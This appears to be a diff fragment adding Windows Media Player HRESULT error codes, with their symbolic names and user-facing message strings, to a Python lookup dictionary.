+        0xC00D1056: ("NS_E_WMG_NOSDKINTERFACE", "The Windows Media SDK interface needed to complete the operation does not exist at this time."),
+        0xC00D1057: ("NS_E_WMG_NOTALLOUTPUTSRENDERED", "Windows Media Player cannot play a portion of the file because it requires a codec that either could not be downloaded or that is not supported by the Player."),
+        0xC00D1058: ("NS_E_WMG_FILETRANSFERNOTALLOWED", "File transfer streams are not allowed in the standalone Player."),
+        0xC00D1059: ("NS_E_WMR_UNSUPPORTEDSTREAM", "Windows Media Player cannot play the file. The Player does not support the format you are trying to play."),
+        0xC00D105A: ("NS_E_WMR_PINNOTFOUND", "An operation was attempted on a pin that does not exist in the DirectShow filter graph."),
+        0xC00D105B: ("NS_E_WMR_WAITINGONFORMATSWITCH", "Specified operation cannot be completed while waiting for a media format change from the SDK."),
+        0xC00D105C: ("NS_E_WMR_NOSOURCEFILTER", "Specified operation cannot be completed because the source filter does not exist."),
+        0xC00D105D: ("NS_E_WMR_PINTYPENOMATCH", "The specified type does not match this pin."),
+        0xC00D105E: ("NS_E_WMR_NOCALLBACKAVAILABLE", "The WMR Source Filter does not have a callback available."),
+        0xC00D1062: ("NS_E_WMR_SAMPLEPROPERTYNOTSET", "The specified property has not been set on this sample."),
+        0xC00D1063: ("NS_E_WMR_CANNOT_RENDER_BINARY_STREAM", "A plug-in is required to correctly play the file. To determine if the plug-in is available to download, click Web Help."),
+        0xC00D1064: ("NS_E_WMG_LICENSE_TAMPERED", "Windows Media Player cannot play the file because your media usage rights are corrupted. If you previously backed up your media usage rights, try restoring them."),
+        0xC00D1065: ("NS_E_WMR_WILLNOT_RENDER_BINARY_STREAM", "Windows Media Player cannot play protected files that contain binary streams."),
+        0xC00D1068: ("NS_E_WMX_UNRECOGNIZED_PLAYLIST_FORMAT", "Windows Media Player cannot play the playlist because it is not valid."),
+        0xC00D1069: ("NS_E_ASX_INVALIDFORMAT", "Windows Media Player cannot play the playlist because it is not valid."),
+        0xC00D106A: ("NS_E_ASX_INVALIDVERSION", "A later version of Windows Media Player might be required to play this playlist."),
+        0xC00D106B: ("NS_E_ASX_INVALID_REPEAT_BLOCK", "The format of a REPEAT loop within the current playlist file is not valid."),
+        0xC00D106C: ("NS_E_ASX_NOTHING_TO_WRITE", "Windows Media Player cannot save the playlist because it does not contain any items."),
+        0xC00D106D: ("NS_E_URLLIST_INVALIDFORMAT", "Windows Media Player cannot play the playlist because it is not valid."),
+        0xC00D106E: ("NS_E_WMX_ATTRIBUTE_DOES_NOT_EXIST", "The specified attribute does not exist."),
+        0xC00D106F: ("NS_E_WMX_ATTRIBUTE_ALREADY_EXISTS", "The specified attribute already exists."),
+        0xC00D1070: ("NS_E_WMX_ATTRIBUTE_UNRETRIEVABLE", "Cannot retrieve the specified attribute."),
+        0xC00D1071: ("NS_E_WMX_ITEM_DOES_NOT_EXIST", "The specified item does not exist in the current playlist."),
+        0xC00D1072: ("NS_E_WMX_ITEM_TYPE_ILLEGAL", "Items of the specified type cannot be created within the current playlist."),
+        0xC00D1073: ("NS_E_WMX_ITEM_UNSETTABLE", "The specified item cannot be set in the current playlist."),
+        0xC00D1074: ("NS_E_WMX_PLAYLIST_EMPTY", "Windows Media Player cannot perform the requested action because the playlist does not contain any items."),
+        0xC00D1075: ("NS_E_MLS_SMARTPLAYLIST_FILTER_NOT_REGISTERED", "The specified auto playlist contains a filter type that is either not valid or is not installed on this computer."),
+        0xC00D1076: ("NS_E_WMX_INVALID_FORMAT_OVER_NESTING", "Windows Media Player cannot play the file because the associated playlist contains too many nested playlists."),
+        0xC00D107C: ("NS_E_WMPCORE_NOSOURCEURLSTRING", "Windows Media Player cannot find the file. Verify that the path is typed correctly. If it is, the file might not exist in the specified location, or the computer where the file is stored might not be available."),
+        0xC00D107D: ("NS_E_WMPCORE_COCREATEFAILEDFORGITOBJECT", "Failed to create the Global Interface Table."),
+        0xC00D107E: ("NS_E_WMPCORE_FAILEDTOGETMARSHALLEDEVENTHANDLERINTERFACE", "Failed to get the marshaled graph event handler interface."),
+        0xC00D107F: ("NS_E_WMPCORE_BUFFERTOOSMALL", "Buffer is too small for copying media type."),
+        0xC00D1080: ("NS_E_WMPCORE_UNAVAILABLE", "The current state of the Player does not allow this operation."),
+        0xC00D1081: ("NS_E_WMPCORE_INVALIDPLAYLISTMODE", "The playlist manager does not understand the current play mode (for example, shuffle or normal)."),
+        0xC00D1086: ("NS_E_WMPCORE_ITEMNOTINPLAYLIST", "Windows Media Player cannot play the file because it is not in the current playlist."),
+        0xC00D1087: ("NS_E_WMPCORE_PLAYLISTEMPTY", "There are no items in the playlist. Add items to the playlist, and then try again."),
+        0xC00D1088: ("NS_E_WMPCORE_NOBROWSER", "The web page cannot be displayed because no web browser is installed on your computer."),
+        0xC00D1089: ("NS_E_WMPCORE_UNRECOGNIZED_MEDIA_URL", "Windows Media Player cannot find the specified file. Verify the path is typed correctly. If it is, the file does not exist in the specified location, or the computer where the file is stored is not available."),
+        0xC00D108A: ("NS_E_WMPCORE_GRAPH_NOT_IN_LIST", "Graph with the specified URL was not found in the prerolled graph list."),
+        0xC00D108B: ("NS_E_WMPCORE_PLAYLIST_EMPTY_OR_SINGLE_MEDIA", "Windows Media Player cannot perform the requested operation because there is only one item in the playlist."),
+        0xC00D108C: ("NS_E_WMPCORE_ERRORSINKNOTREGISTERED", "An error sink was never registered for the calling object."),
+        0xC00D108D: ("NS_E_WMPCORE_ERRORMANAGERNOTAVAILABLE", "The error manager is not available to respond to errors."),
+        0xC00D108E: ("NS_E_WMPCORE_WEBHELPFAILED", "The Web Help URL cannot be opened."),
+        0xC00D108F: ("NS_E_WMPCORE_MEDIA_ERROR_RESUME_FAILED", "Could not resume playing next item in playlist."),
+        0xC00D1090: ("NS_E_WMPCORE_NO_REF_IN_ENTRY", "Windows Media Player cannot play the file because the associated playlist does not contain any items or the playlist is not valid."),
+        0xC00D1091: ("NS_E_WMPCORE_WMX_LIST_ATTRIBUTE_NAME_EMPTY", "An empty string for playlist attribute name was found."),
+        0xC00D1092: ("NS_E_WMPCORE_WMX_LIST_ATTRIBUTE_NAME_ILLEGAL", "A playlist attribute name that is not valid was found."),
+        0xC00D1093: ("NS_E_WMPCORE_WMX_LIST_ATTRIBUTE_VALUE_EMPTY", "An empty string for a playlist attribute value was found."),
+        0xC00D1094: ("NS_E_WMPCORE_WMX_LIST_ATTRIBUTE_VALUE_ILLEGAL", "An illegal value for a playlist attribute was found."),
+        0xC00D1095: ("NS_E_WMPCORE_WMX_LIST_ITEM_ATTRIBUTE_NAME_EMPTY", "An empty string for a playlist item attribute name was found."),
+        0xC00D1096: ("NS_E_WMPCORE_WMX_LIST_ITEM_ATTRIBUTE_NAME_ILLEGAL", "An illegal value for a playlist item attribute name was found."),
+        0xC00D1097: ("NS_E_WMPCORE_WMX_LIST_ITEM_ATTRIBUTE_VALUE_EMPTY", "An illegal value for a playlist item attribute was found."),
+        0xC00D1098: ("NS_E_WMPCORE_LIST_ENTRY_NO_REF", "The playlist does not contain any items."),
+        0xC00D1099: ("NS_E_WMPCORE_MISNAMED_FILE", "Windows Media Player cannot play the file. The file is either corrupted or the Player does not support the format you are trying to play."),
+        0xC00D109A: ("NS_E_WMPCORE_CODEC_NOT_TRUSTED", "The codec downloaded for this file does not appear to be properly signed, so it cannot be installed."),
+        0xC00D109B: ("NS_E_WMPCORE_CODEC_NOT_FOUND", "Windows Media Player cannot play the file. One or more codecs required to play the file could not be found."),
+        0xC00D109C: ("NS_E_WMPCORE_CODEC_DOWNLOAD_NOT_ALLOWED", "Windows Media Player cannot play the file because a required codec is not installed on your computer. To try downloading the codec, turn on the \"Download codecs automatically\" option."),
+        0xC00D109D: ("NS_E_WMPCORE_ERROR_DOWNLOADING_PLAYLIST", "Windows Media Player encountered a problem while downloading the playlist. For additional assistance, click Web Help."),
+        0xC00D109E: ("NS_E_WMPCORE_FAILED_TO_BUILD_PLAYLIST", "Failed to build the playlist."),
+        0xC00D109F: ("NS_E_WMPCORE_PLAYLIST_ITEM_ALTERNATE_NONE", "Playlist has no alternates to switch into."),
+        0xC00D10A0: ("NS_E_WMPCORE_PLAYLIST_ITEM_ALTERNATE_EXHAUSTED", "No more playlist alternates available to switch to."),
+        0xC00D10A1: ("NS_E_WMPCORE_PLAYLIST_ITEM_ALTERNATE_NAME_NOT_FOUND", "Could not find the name of the alternate playlist to switch into."),
+        0xC00D10A2: ("NS_E_WMPCORE_PLAYLIST_ITEM_ALTERNATE_MORPH_FAILED", "Failed to switch to an alternate for this media."),
+        0xC00D10A3: ("NS_E_WMPCORE_PLAYLIST_ITEM_ALTERNATE_INIT_FAILED", "Failed to initialize an alternate for the media."),
+        0xC00D10A4: ("NS_E_WMPCORE_MEDIA_ALTERNATE_REF_EMPTY", "No URL specified for the roll over Refs in the playlist file."),
+        0xC00D10A5: ("NS_E_WMPCORE_PLAYLIST_NO_EVENT_NAME", "Encountered a playlist with no name."),
+        0xC00D10A6: ("NS_E_WMPCORE_PLAYLIST_EVENT_ATTRIBUTE_ABSENT", "A required attribute in the event block of the playlist was not found."),
+        0xC00D10A7: ("NS_E_WMPCORE_PLAYLIST_EVENT_EMPTY", "No items were found in the event block of the playlist."),
+        0xC00D10A8: ("NS_E_WMPCORE_PLAYLIST_STACK_EMPTY", "No playlist was found while returning from a nested playlist."),
+        0xC00D10A9: ("NS_E_WMPCORE_CURRENT_MEDIA_NOT_ACTIVE", "The media item is not active currently."),
+        0xC00D10AB: ("NS_E_WMPCORE_USER_CANCEL", "Windows Media Player cannot perform the requested action because you chose to cancel it."),
+        0xC00D10AC: ("NS_E_WMPCORE_PLAYLIST_REPEAT_EMPTY", "Windows Media Player encountered a problem with the playlist. The format of the playlist is not valid."),
+        0xC00D10AD: ("NS_E_WMPCORE_PLAYLIST_REPEAT_START_MEDIA_NONE", "Media object corresponding to start of a playlist repeat block was not found."),
+        0xC00D10AE: ("NS_E_WMPCORE_PLAYLIST_REPEAT_END_MEDIA_NONE", "Media object corresponding to the end of a playlist repeat block was not found."),
+        0xC00D10AF: ("NS_E_WMPCORE_INVALID_PLAYLIST_URL", "The playlist URL supplied to the playlist manager is not valid."),
+        0xC00D10B0: ("NS_E_WMPCORE_MISMATCHED_RUNTIME", "Windows Media Player cannot play the file because it is corrupted."),
+        0xC00D10B1: ("NS_E_WMPCORE_PLAYLIST_IMPORT_FAILED_NO_ITEMS", "Windows Media Player cannot add the playlist to the library because the playlist does not contain any items."),
+        0xC00D10B2: ("NS_E_WMPCORE_VIDEO_TRANSFORM_FILTER_INSERTION", "An error has occurred that could prevent the changing of the video contrast on this media."),
+        0xC00D10B3: ("NS_E_WMPCORE_MEDIA_UNAVAILABLE", "Windows Media Player cannot play the file. If the file is located on the Internet, connect to the Internet. If the file is located on a removable storage card, insert the storage card."),
+        0xC00D10B4: ("NS_E_WMPCORE_WMX_ENTRYREF_NO_REF", "The playlist contains an ENTRYREF for which no href was parsed. Check the syntax of playlist file."),
+        0xC00D10B5: ("NS_E_WMPCORE_NO_PLAYABLE_MEDIA_IN_PLAYLIST", "Windows Media Player cannot play any items in the playlist. To find information about the problem, click the Now Playing tab, and then click the icon next to each file in the List pane."),
+        0xC00D10B6: ("NS_E_WMPCORE_PLAYLIST_EMPTY_NESTED_PLAYLIST_SKIPPED_ITEMS", "Windows Media Player cannot play some or all of the items in the playlist because the playlist is nested."),
+        0xC00D10B7: ("NS_E_WMPCORE_BUSY", "Windows Media Player cannot play the file at this time. Try again later."),
+        0xC00D10B8: ("NS_E_WMPCORE_MEDIA_CHILD_PLAYLIST_UNAVAILABLE", "There is no child playlist available for this media item at this time."),
+        0xC00D10B9: ("NS_E_WMPCORE_MEDIA_NO_CHILD_PLAYLIST", "There is no child playlist for this media item."),
+        0xC00D10BA: ("NS_E_WMPCORE_FILE_NOT_FOUND", "Windows Media Player cannot find the file. The link from the item in the library to its associated digital media file might be broken. To fix the problem, try repairing the link or removing the item from the library."),
+        0xC00D10BB: ("NS_E_WMPCORE_TEMP_FILE_NOT_FOUND", "The temporary file was not found."),
+        0xC00D10BC: ("NS_E_WMDM_REVOKED", "Windows Media Player cannot sync the file because the device needs to be updated."),
+        0xC00D10BD: ("NS_E_DDRAW_GENERIC", "Windows Media Player cannot play the video because there is a problem with your video card."),
+        0xC00D10BE: ("NS_E_DISPLAY_MODE_CHANGE_FAILED", "Windows Media Player failed to change the screen mode for full-screen video playback."),
+        0xC00D10BF: ("NS_E_PLAYLIST_CONTAINS_ERRORS", "Windows Media Player cannot play one or more files. For additional information, right-click an item that cannot be played, and then click Error Details."),
+        0xC00D10C0: ("NS_E_CHANGING_PROXY_NAME", "Cannot change the proxy name if the proxy setting is not set to custom."),
+        0xC00D10C1: ("NS_E_CHANGING_PROXY_PORT", "Cannot change the proxy port if the proxy setting is not set to custom."),
+        0xC00D10C2: ("NS_E_CHANGING_PROXY_EXCEPTIONLIST", "Cannot change the proxy exception list if the proxy setting is not set to custom."),
+        0xC00D10C3: ("NS_E_CHANGING_PROXYBYPASS", "Cannot change the proxy bypass flag if the proxy setting is not set to custom."),
+        0xC00D10C4: ("NS_E_CHANGING_PROXY_PROTOCOL_NOT_FOUND", "Cannot find the specified protocol."),
+        0xC00D10C5: ("NS_E_GRAPH_NOAUDIOLANGUAGE", "Cannot change the language settings. Either the graph has no audio or the audio only supports one language."),
+        0xC00D10C6: ("NS_E_GRAPH_NOAUDIOLANGUAGESELECTED", "The graph has no audio language selected."),
+        0xC00D10C7: ("NS_E_CORECD_NOTAMEDIACD", "This is not a media CD."),
+        0xC00D10C8: ("NS_E_WMPCORE_MEDIA_URL_TOO_LONG", "Windows Media Player cannot play the file because the URL is too long."),
+        0xC00D10C9: ("NS_E_WMPFLASH_CANT_FIND_COM_SERVER", "To play the selected item, you must install the Macromedia Flash Player. To download the Macromedia Flash Player, go to the Adobe website."),
+        0xC00D10CA: ("NS_E_WMPFLASH_INCOMPATIBLEVERSION", "To play the selected item, you must install a later version of the Macromedia Flash Player. To download the Macromedia Flash Player, go to the Adobe website."),
+        0xC00D10CB: ("NS_E_WMPOCXGRAPH_IE_DISALLOWS_ACTIVEX_CONTROLS", "Windows Media Player cannot play the file because your Internet security settings prohibit the use of ActiveX controls."),
+        0xC00D10CC: ("NS_E_NEED_CORE_REFERENCE", "The use of this method requires an existing reference to the Player object."),
+        0xC00D10CD: ("NS_E_MEDIACD_READ_ERROR", "Windows Media Player cannot play the CD. The disc might be dirty or damaged."),
+        0xC00D10CE: ("NS_E_IE_DISALLOWS_ACTIVEX_CONTROLS", "Windows Media Player cannot play the file because your Internet security settings prohibit the use of ActiveX controls."),
+        0xC00D10CF: ("NS_E_FLASH_PLAYBACK_NOT_ALLOWED", "Flash playback has been turned off in Windows Media Player."),
+        0xC00D10D0: ("NS_E_UNABLE_TO_CREATE_RIP_LOCATION", "Windows Media Player cannot rip the CD because a valid rip location cannot be created."),
+        0xC00D10D1: ("NS_E_WMPCORE_SOME_CODECS_MISSING", "Windows Media Player cannot play the file because a required codec is not installed on your computer."),
+        0xC00D10D2: ("NS_E_WMP_RIP_FAILED", "Windows Media Player cannot rip one or more tracks from the CD."),
+        0xC00D10D3: ("NS_E_WMP_FAILED_TO_RIP_TRACK", "Windows Media Player encountered a problem while ripping the track from the CD. For additional assistance, click Web Help."),
+        0xC00D10D4: ("NS_E_WMP_ERASE_FAILED", "Windows Media Player encountered a problem while erasing the disc. For additional assistance, click Web Help."),
+        0xC00D10D5: ("NS_E_WMP_FORMAT_FAILED", "Windows Media Player encountered a problem while formatting the device. For additional assistance, click Web Help."),
+        0xC00D10D6: ("NS_E_WMP_CANNOT_BURN_NON_LOCAL_FILE", "This file cannot be burned to a CD because it is not located on your computer."),
+        0xC00D10D7: ("NS_E_WMP_FILE_TYPE_CANNOT_BURN_TO_AUDIO_CD", "It is not possible to burn this file type to an audio CD. Windows Media Player can burn the following file types to an audio CD: WMA, MP3, or WAV."),
+        0xC00D10D8: ("NS_E_WMP_FILE_DOES_NOT_FIT_ON_CD", "This file is too large to fit on a disc."),
+        0xC00D10D9: ("NS_E_WMP_FILE_NO_DURATION", "It is not possible to determine if this file can fit on a disc because Windows Media Player cannot detect the length of the file. Playing the file before burning may enable the Player to detect the file length."),
+        0xC00D10DA: ("NS_E_PDA_FAILED_TO_BURN", "Windows Media Player encountered a problem while burning the file to the disc. For additional assistance, click Web Help."),
+        0xC00D10DC: ("NS_E_FAILED_DOWNLOAD_ABORT_BURN", "Windows Media Player cannot burn the audio CD because some items in the list that you chose to buy could not be downloaded from the online store."),
+        0xC00D10DD: ("NS_E_WMPCORE_DEVICE_DRIVERS_MISSING", "Windows Media Player cannot play the file. Try using Windows Update or Device Manager to update the device drivers for your audio and video cards. For information about using Windows Update or Device Manager, see Windows Help."),
+        0xC00D1126: ("NS_E_WMPIM_USEROFFLINE", "Windows Media Player has detected that you are not connected to the Internet. Connect to the Internet, and then try again."),
+        0xC00D1127: ("NS_E_WMPIM_USERCANCELED", "The attempt to connect to the Internet was canceled."),
+        0xC00D1128: ("NS_E_WMPIM_DIALUPFAILED", "The attempt to connect to the Internet failed."),
+        0xC00D1129: ("NS_E_WINSOCK_ERROR_STRING", "Windows Media Player has encountered an unknown network error."),
+        0xC00D1130: ("NS_E_WMPBR_NOLISTENER", "No window is currently listening to Backup and Restore events."),
+        0xC00D1131: ("NS_E_WMPBR_BACKUPCANCEL", "Your media usage rights were not backed up because the backup was canceled."),
+        0xC00D1132: ("NS_E_WMPBR_RESTORECANCEL", "Your media usage rights were not restored because the restoration was canceled."),
+        0xC00D1133: ("NS_E_WMPBR_ERRORWITHURL", "An error occurred while backing up or restoring your media usage rights. A required web page cannot be displayed."),
+        0xC00D1134: ("NS_E_WMPBR_NAMECOLLISION", "Your media usage rights were not backed up because the backup was canceled."),
+        0xC00D1137: ("NS_E_WMPBR_DRIVE_INVALID", "Windows Media Player cannot restore your media usage rights from the specified location. Choose another location, and then try again."),
+        0xC00D1138: ("NS_E_WMPBR_BACKUPRESTOREFAILED", "Windows Media Player cannot backup or restore your media usage rights."),
+        0xC00D1158: ("NS_E_WMP_CONVERT_FILE_FAILED", "Windows Media Player cannot add the file to the library."),
+        0xC00D1159: ("NS_E_WMP_CONVERT_NO_RIGHTS_ERRORURL", "Windows Media Player cannot add the file to the library because the content provider prohibits it. For assistance, contact the company that provided the file."),
+        0xC00D115A: ("NS_E_WMP_CONVERT_NO_RIGHTS_NOERRORURL", "Windows Media Player cannot add the file to the library because the content provider prohibits it. For assistance, contact the company that provided the file."),
+        0xC00D115B: ("NS_E_WMP_CONVERT_FILE_CORRUPT", "Windows Media Player cannot add the file to the library. The file might not be valid."),
+        0xC00D115C: ("NS_E_WMP_CONVERT_PLUGIN_UNAVAILABLE_ERRORURL", "Windows Media Player cannot add the file to the library. The plug-in required to add the file is not installed properly. For assistance, click Web Help to display the website of the company that provided the file."),
+        0xC00D115D: ("NS_E_WMP_CONVERT_PLUGIN_UNAVAILABLE_NOERRORURL", "Windows Media Player cannot add the file to the library. The plug-in required to add the file is not installed properly. For assistance, contact the company that provided the file."),
+        0xC00D115E: ("NS_E_WMP_CONVERT_PLUGIN_UNKNOWN_FILE_OWNER", "Windows Media Player cannot add the file to the library. The plug-in required to add the file is not installed properly. For assistance, contact the company that provided the file."),
+        0xC00D1160: ("NS_E_DVD_DISC_COPY_PROTECT_OUTPUT_NS", "Windows Media Player cannot play this DVD. Try installing an updated driver for your video card or obtaining a newer video card."),
+        0xC00D1161: ("NS_E_DVD_DISC_COPY_PROTECT_OUTPUT_FAILED", "This DVD's resolution exceeds the maximum allowed by your component video outputs. Try reducing your screen resolution to 640 x 480, or turn off analog component outputs and use a VGA connection to your monitor."),
+        0xC00D1162: ("NS_E_DVD_NO_SUBPICTURE_STREAM", "Windows Media Player cannot display subtitles or highlights in DVD menus. Reinstall the DVD decoder or contact the DVD drive manufacturer to obtain an updated decoder."),
+        0xC00D1163: ("NS_E_DVD_COPY_PROTECT", "Windows Media Player cannot play this DVD because there is a problem with digital copy protection between your DVD drive, decoder, and video card. Try installing an updated driver for your video card."),
+        0xC00D1164: ("NS_E_DVD_AUTHORING_PROBLEM", "Windows Media Player cannot play the DVD. The disc was created in a manner that the Player does not support."),
+        0xC00D1165: ("NS_E_DVD_INVALID_DISC_REGION", "Windows Media Player cannot play the DVD because the disc prohibits playback in your region of the world. You must obtain a disc that is intended for your geographic region."),
+        0xC00D1166: ("NS_E_DVD_COMPATIBLE_VIDEO_CARD", "Windows Media Player cannot play the DVD because your video card does not support DVD playback."),
+        0xC00D1167: ("NS_E_DVD_MACROVISION", "Windows Media Player cannot play this DVD because it is not possible to turn on analog copy protection on the output display. Try installing an updated driver for your video card."),
+        0xC00D1168: ("NS_E_DVD_SYSTEM_DECODER_REGION", "Windows Media Player cannot play the DVD because the region assigned to your DVD drive does not match the region assigned to your DVD decoder."),
+        0xC00D1169: ("NS_E_DVD_DISC_DECODER_REGION", "Windows Media Player cannot play the DVD because the disc prohibits playback in your region of the world. You must obtain a disc that is intended for your geographic region."),
+        0xC00D116A: ("NS_E_DVD_NO_VIDEO_STREAM", "Windows Media Player cannot play DVD video. You might need to adjust your Windows display settings. Open display settings in Control Panel, and then try lowering your screen resolution and color quality settings."),
+        0xC00D116B: ("NS_E_DVD_NO_AUDIO_STREAM", "Windows Media Player cannot play DVD audio. Verify that your sound card is set up correctly, and then try again."),
+        0xC00D116C: ("NS_E_DVD_GRAPH_BUILDING", "Windows Media Player cannot play DVD video. Close any open files and quit any other programs, and then try again. If the problem persists, restart your computer."),
+        0xC00D116D: ("NS_E_DVD_NO_DECODER", "Windows Media Player cannot play the DVD because a compatible DVD decoder is not installed on your computer."),
+        0xC00D116E: ("NS_E_DVD_PARENTAL", "Windows Media Player cannot play the scene because it has a parental rating higher than the rating that you are authorized to view."),
+        0xC00D116F: ("NS_E_DVD_CANNOT_JUMP", "Windows Media Player cannot skip to the requested location on the DVD."),
+        0xC00D1170: ("NS_E_DVD_DEVICE_CONTENTION", "Windows Media Player cannot play the DVD because it is currently in use by another program. Quit the other program that is using the DVD, and then try again."),
+        0xC00D1171: ("NS_E_DVD_NO_VIDEO_MEMORY", "Windows Media Player cannot play DVD video. You might need to adjust your Windows display settings. Open display settings in Control Panel, and then try lowering your screen resolution and color quality settings."),
+        0xC00D1172: ("NS_E_DVD_CANNOT_COPY_PROTECTED", "Windows Media Player cannot rip the DVD because it is copy protected."),
+        0xC00D1173: ("NS_E_DVD_REQUIRED_PROPERTY_NOT_SET", "One of more of the required properties has not been set."),
+        0xC00D1174: ("NS_E_DVD_INVALID_TITLE_CHAPTER", "The specified title and/or chapter number does not exist on this DVD."),
+        0xC00D1176: ("NS_E_NO_CD_BURNER", "Windows Media Player cannot burn the files because the Player cannot find a burner. If the burner is connected properly, try using Windows Update to install the latest device driver."),
+        0xC00D1177: ("NS_E_DEVICE_IS_NOT_READY", "Windows Media Player does not detect storage media in the selected device. Insert storage media into the device, and then try again."),
+        0xC00D1178: ("NS_E_PDA_UNSUPPORTED_FORMAT", "Windows Media Player cannot sync this file. The Player might not support the file type."),
+        0xC00D1179: ("NS_E_NO_PDA", "Windows Media Player does not detect a portable device. Connect your portable device, and then try again."),
+        0xC00D117A: ("NS_E_PDA_UNSPECIFIED_ERROR", "Windows Media Player encountered an error while communicating with the device. The storage card on the device might be full, the device might be turned off, or the device might not allow playlists or folders to be created on it."),
+        0xC00D117B: ("NS_E_MEMSTORAGE_BAD_DATA", "Windows Media Player encountered an error while burning a CD."),
+        0xC00D117C: ("NS_E_PDA_FAIL_SELECT_DEVICE", "Windows Media Player encountered an error while communicating with a portable device or CD drive."),
+        0xC00D117D: ("NS_E_PDA_FAIL_READ_WAVE_FILE", "Windows Media Player cannot open the WAV file."),
+        0xC00D117E: ("NS_E_IMAPI_LOSSOFSTREAMING", "Windows Media Player failed to burn all the files to the CD. Select a slower recording speed, and then try again."),
+        0xC00D117F: ("NS_E_PDA_DEVICE_FULL", "There is not enough storage space on the portable device to complete this operation. Delete some unneeded files on the portable device, and then try again."),
+        0xC00D1180: ("NS_E_FAIL_LAUNCH_ROXIO_PLUGIN", "Windows Media Player cannot burn the files. Verify that your burner is connected properly, and then try again. If the problem persists, reinstall the Player."),
+        0xC00D1181: ("NS_E_PDA_DEVICE_FULL_IN_SESSION", "Windows Media Player did not sync some files to the device because there is not enough storage space on the device."),
+        0xC00D1182: ("NS_E_IMAPI_MEDIUM_INVALIDTYPE", "The disc in the burner is not valid. Insert a blank disc into the burner, and then try again."),
+        0xC00D1183: ("NS_E_PDA_MANUALDEVICE", "Windows Media Player cannot perform the requested action because the device does not support sync."),
+        0xC00D1184: ("NS_E_PDA_PARTNERSHIPNOTEXIST", "To perform the requested action, you must first set up sync with the device."),
+        0xC00D1185: ("NS_E_PDA_CANNOT_CREATE_ADDITIONAL_SYNC_RELATIONSHIP", "You have already created sync partnerships with 16 devices. To create a new sync partnership, you must first end an existing partnership."),
+        0xC00D1186: ("NS_E_PDA_NO_TRANSCODE_OF_DRM", "Windows Media Player cannot sync the file because protected files cannot be converted to the required quality level or file format."),
+        0xC00D1187: ("NS_E_PDA_TRANSCODECACHEFULL", "The folder that stores converted files is full. Either empty the folder or increase its size, and then try again."),
+        0xC00D1188: ("NS_E_PDA_TOO_MANY_FILE_COLLISIONS", "There are too many files with the same name in the folder on the device. Change the file name or sync to a different folder."),
+        0xC00D1189: ("NS_E_PDA_CANNOT_TRANSCODE", "Windows Media Player cannot convert the file to the format required by the device."),
+        0xC00D118A: ("NS_E_PDA_TOO_MANY_FILES_IN_DIRECTORY", "You have reached the maximum number of files your device allows in a folder. If your device supports playback from subfolders, try creating subfolders on the device and storing some files in them."),
+        0xC00D118B: ("NS_E_PROCESSINGSHOWSYNCWIZARD", "Windows Media Player is already trying to start the Device Setup Wizard."),
+        0xC00D118C: ("NS_E_PDA_TRANSCODE_NOT_PERMITTED", "Windows Media Player cannot convert this file format. If an updated version of the codec used to compress this file is available, install it and then try to sync the file again."),
+        0xC00D118D: ("NS_E_PDA_INITIALIZINGDEVICES", "Windows Media Player is busy setting up devices. Try again later."),
+        0xC00D118E: ("NS_E_PDA_OBSOLETE_SP", "Your device is using an outdated driver that is no longer supported by Windows Media Player. For additional assistance, click Web Help."),
+        0xC00D118F: ("NS_E_PDA_TITLE_COLLISION", "Windows Media Player cannot sync the file because a file with the same name already exists on the device. Change the file name or try to sync the file to a different folder."),
+        0xC00D1190: ("NS_E_PDA_DEVICESUPPORTDISABLED", "Automatic and manual sync have been turned off temporarily. To sync to a device, restart Windows Media Player."),
+        0xC00D1191: ("NS_E_PDA_NO_LONGER_AVAILABLE", "This device is not available. Connect the device to the computer, and then try again."),
+        0xC00D1192: ("NS_E_PDA_ENCODER_NOT_RESPONDING", "Windows Media Player cannot sync the file because an error occurred while converting the file to another quality level or format. If the problem persists, remove the file from the list of files to sync."),
+        0xC00D1193: ("NS_E_PDA_CANNOT_SYNC_FROM_LOCATION", "Windows Media Player cannot sync the file to your device. The file might be stored in a location that is not supported. Copy the file from its current location to your hard disk, add it to your library, and then try to sync the file again."),
+        0xC00D1194: ("NS_E_WMP_PROTOCOL_PROBLEM", "Windows Media Player cannot open the specified URL. Verify that the Player is configured to use all available protocols, and then try again."),
+        0xC00D1195: ("NS_E_WMP_NO_DISK_SPACE", "Windows Media Player cannot perform the requested action because there is not enough storage space on your computer. Delete some unneeded files on your hard disk, and then try again."),
+        0xC00D1196: ("NS_E_WMP_LOGON_FAILURE", "The server denied access to the file. Verify that you are using the correct user name and password."),
+        0xC00D1197: ("NS_E_WMP_CANNOT_FIND_FILE", "Windows Media Player cannot find the file. If you are trying to play, burn, or sync an item that is in your library, the item might point to a file that has been moved, renamed, or deleted."),
+        0xC00D1198: ("NS_E_WMP_SERVER_INACCESSIBLE", "Windows Media Player cannot connect to the server. The server name might not be correct, the server might not be available, or your proxy settings might not be correct."),
+        0xC00D1199: ("NS_E_WMP_UNSUPPORTED_FORMAT", "Windows Media Player cannot play the file. The Player might not support the file type or might not support the codec that was used to compress the file."),
+        0xC00D119A: ("NS_E_WMP_DSHOW_UNSUPPORTED_FORMAT", "Windows Media Player cannot play the file. The Player might not support the file type or a required codec might not be installed on your computer."),
+        0xC00D119B: ("NS_E_WMP_PLAYLIST_EXISTS", "Windows Media Player cannot create the playlist because the name already exists. Type a different playlist name."),
+        0xC00D119C: ("NS_E_WMP_NONMEDIA_FILES", "Windows Media Player cannot delete the playlist because it contains items that are not digital media files. Any digital media files in the playlist were deleted."),
+        0xC00D119D: ("NS_E_WMP_INVALID_ASX", "The playlist cannot be opened because it is stored in a shared folder on another computer. If possible, move the playlist to the playlists folder on your computer."),
+        0xC00D119E: ("NS_E_WMP_ALREADY_IN_USE", "Windows Media Player is already in use. Stop playing any items, close all Player dialog boxes, and then try again."),
+        0xC00D119F: ("NS_E_WMP_IMAPI_FAILURE", "Windows Media Player encountered an error while burning. Verify that the burner is connected properly and that the disc is clean and not damaged."),
+        0xC00D11A0: ("NS_E_WMP_WMDM_FAILURE", "Windows Media Player has encountered an unknown error with your portable device. Reconnect your portable device, and then try again."),
+        0xC00D11A1: ("NS_E_WMP_CODEC_NEEDED_WITH_4CC", "A codec is required to play this file. To determine if this codec is available to download from the web, click Web Help."),
+        0xC00D11A2: ("NS_E_WMP_CODEC_NEEDED_WITH_FORMATTAG", "An audio codec is needed to play this file. To determine if this codec is available to download from the web, click Web Help."),
+        0xC00D11A3: ("NS_E_WMP_MSSAP_NOT_AVAILABLE", "To play the file, you must install the latest Windows service pack. To install the service pack from the Windows Update website, click Web Help."),
